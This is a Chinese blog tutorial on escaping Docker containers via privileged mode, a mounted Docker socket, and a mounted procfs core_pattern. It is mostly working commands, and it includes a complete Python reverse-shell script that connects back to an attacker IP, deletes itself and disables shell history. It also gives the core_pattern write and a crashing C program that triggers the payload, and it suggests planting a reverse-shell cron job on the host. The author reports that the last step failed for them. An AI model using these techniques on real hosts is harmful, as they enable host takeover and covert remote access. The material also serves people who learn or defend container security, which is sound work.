前言
之前分享的是云服務安全,今天開始云原生安全,安全道路依舊很長。
什么是Docker呢,它是開源的容器化平臺,用于開發、部署和運行應用程序。它通過將應用程序及其依賴項打包在輕量級的容器中,實現環境一致性、快速部署和資源高效利用這玩意類似虛擬機,是一個虛擬化技術。我們在VM中使用的虛擬機其實基于物理硬件開辟的,而容器是基于我們操作系統內核來開辟的。這樣就表面了容器要比虛擬機更加輕量,對CPU和內存等條件要求更低。
就好比如我自己的電腦開4臺以上虛擬機就卡死了,容器隨便開都行,而且容器無論是部署還是操作都很方便,我們本地按照mysql啥的,又要配置東西,又要按照環境,而容器只需拉取鏡像就行。
Docker安全
來到官網我們可以看到有非常多的容器鏡像,有一些是官方發布的,也有一些是用戶自己打包上傳的。這就引出了一個安全問題,有一些人會在容器里面留下后門,當時運行的容器的時候,后門也會被運行,這是早期容器剛出來的現象。假如我們好不容易拿到的shell,卻發現是在容器里面,那該咋辦,今天講兩種方法實現容器逃逸。
特權模式
當我們運行一個容器時,如果它權限過大的話,那么就可以進行逃逸,我們以特權模式啟動 alpine 容器。
docker run --rm --privileged=true -it alpine
這里要順便說一下,如何判斷自己是否在容器中,常用的有三種。
查詢cgroup信息,不知為啥我這里啥也沒有。
cat /proc/1/cgroup
檢查/.dockerenv文件,通過判斷根目錄下的 .dockerenv文件是否存在,可以簡單的識別docker環境。
ls -alh /.dockerenv
還有一個是檢查mount信息,利用mount查看掛載磁盤是否存在docker相關信息。
mount
更多判斷方法可以看這篇文章。
如何快速判斷是否在容器環境_如何確定是不是處于docker容器-CSDN博客
首先檢查是否為特權模式運行的容器,如果是特權模式啟動的話,CapEff 對應的掩碼值應該為0000003ffffffff或者0000001fffffffff。
cat /proc/self/status | grep CapEff
先創建一個目錄。
mkdir /test
?執行下面的命令?將存儲設備?/dev/sda1
?上的文件系統掛載到目錄?/test
?上,也就是說我可以通過查看test文件夾來實現對真實系統目錄的訪問。
mount /dev/sda1 /test
然后我們進入到test目錄進行查看,發現里面內容和真實系統一樣,成功實現docker逃逸。
后面再往真實的系統文件寫入一個反彈shell的計時任務即可拿到shell。
危險掛載
掛載Socket
Docker Socket 用來與守護進程通信即查詢信息或者下發命令,類似于網站的功能插件,如果在啟動容器的時候掛載了這個功能,那么也會有容器逃逸的安全問題。原理就是,?利用容器內對宿主機的 Docker 引擎的直接控制權,創建或操作具備訪問宿主機資源能力的新容器/進程,從而突破當前容器的隔離限制。?
運行容器 ubuntu 并且掛載socket,如果你沒有拉去的話,會自動幫你拉去鏡像。
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
接著進入到容器中去。
docker exec -it with_docker_sock /bin/bash
檢查是否掛載了Socket。
ls -lah /var/run/docker.sock
這里我們可以試試檢查特權模式,很明顯不對。
容器里面執行命令,更新apt-get 和安裝 curl命令。
apt-get update
apt-get install curl
接著在容器里面再安裝 docker。
curl -fsSL https://get.docker.com | sh -s -- --mirror Aliyun
在容器內部創建一個新的容器,并將宿主機目錄掛載到新的容器內部,類似套娃,可以看到多了一個host目錄。
docker run -it -v /:/host ubuntu /bin/bash
查看host目錄下的home目錄內容,發現和宿主機的一樣,說明成功逃逸。
掛載procfs
procfs是一個偽文件系統,它動態反映著系統內進程及其他組件的狀態,其中有許多十分敏感重要的文件。核心原理是:?當容器內掛載了宿主機的 proc 文件系統(/proc)時,攻擊者可以通過寫入 /proc/sys/kernel/core_pattern 等敏感路徑,觸發宿主機執行任意命令。
創建一個容器并掛載 /proc 目錄。
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
進行檢查一下,如果找到兩個 core_pattern 文件,那可能就是掛載了宿主機的 procfs。
find / -name core_pattern
找到當前容器在宿主機下的絕對路徑,這里我的絕對路徑是workdir=/var/lib/docker/overlay2/557850f24f799cc9505cf58d32878dc04c5fc03fdb9576a2894ba475f2dff965/merged,不要后面的work,不然會出錯。
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
這里要在容器里面安裝一下 vim 和 gcc,因為后續要創建腳本和編譯腳本,實戰中我推薦本地編譯好了上傳上去,不然在實際生產環境中安裝東西不太現實。
apt-get update -y && apt-get install vim gcc -y
vim /tmp/.t.py
接著創建一個反彈shell的腳本。
vim /tmp/.t.py#!/usr/bin/python3
import os
import pty
import socket
lhost = "172.16.214.1"
lport = 4444
def main():s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv("HISTFILE", '/dev/null')pty.spawn("/bin/bash")# os.remove('/tmp/.t.py')s.close()
if __name__ == "__main__":main()
實戰中建議用cat命令寫入,因為vim需要有回顯的shell才行。
cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "xx.xx.xx.xx" //反彈IP
lport = xxxx //反彈端口
def main():s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv("HISTFILE", '/dev/null')pty.spawn("/bin/bash")os.remove('/tmp/.x.py')s.close()
if __name__ == "__main__":main()
EOF
給腳本賦予權限。
寫入反彈 shell 到目標的 proc 目錄下。
echo -e "|/var/lib/docker/overlay2/557850f24f799cc9505cf58d32878dc04c5fc03fdb9576a2894ba475f2dff965/merged/tmp/.t.py \rcore " > /host/proc/sys/kernel/core_pattern
主機上進行監聽。
然后在容器里創建一個可以崩潰的程序。
vim t.c
#include<stdio.h>
int main(void) {int *a = NULL;*a = 1;return 0;
}
進行編譯,你也可以編譯好再上傳。
gcc t.c -o t
最后運行程序即可反彈shell,遺憾的是我這里并沒有成功,檢查了端口也是沒問題的,不知道為啥,有懂的師傅可以和我說一下。
總結
以上就是這次的容器逃逸手法啦。
最后,以上僅為個人的拙見,如何有不對的地方,歡迎各位師傅指正與補充,有興趣的師傅可以一起交流學習。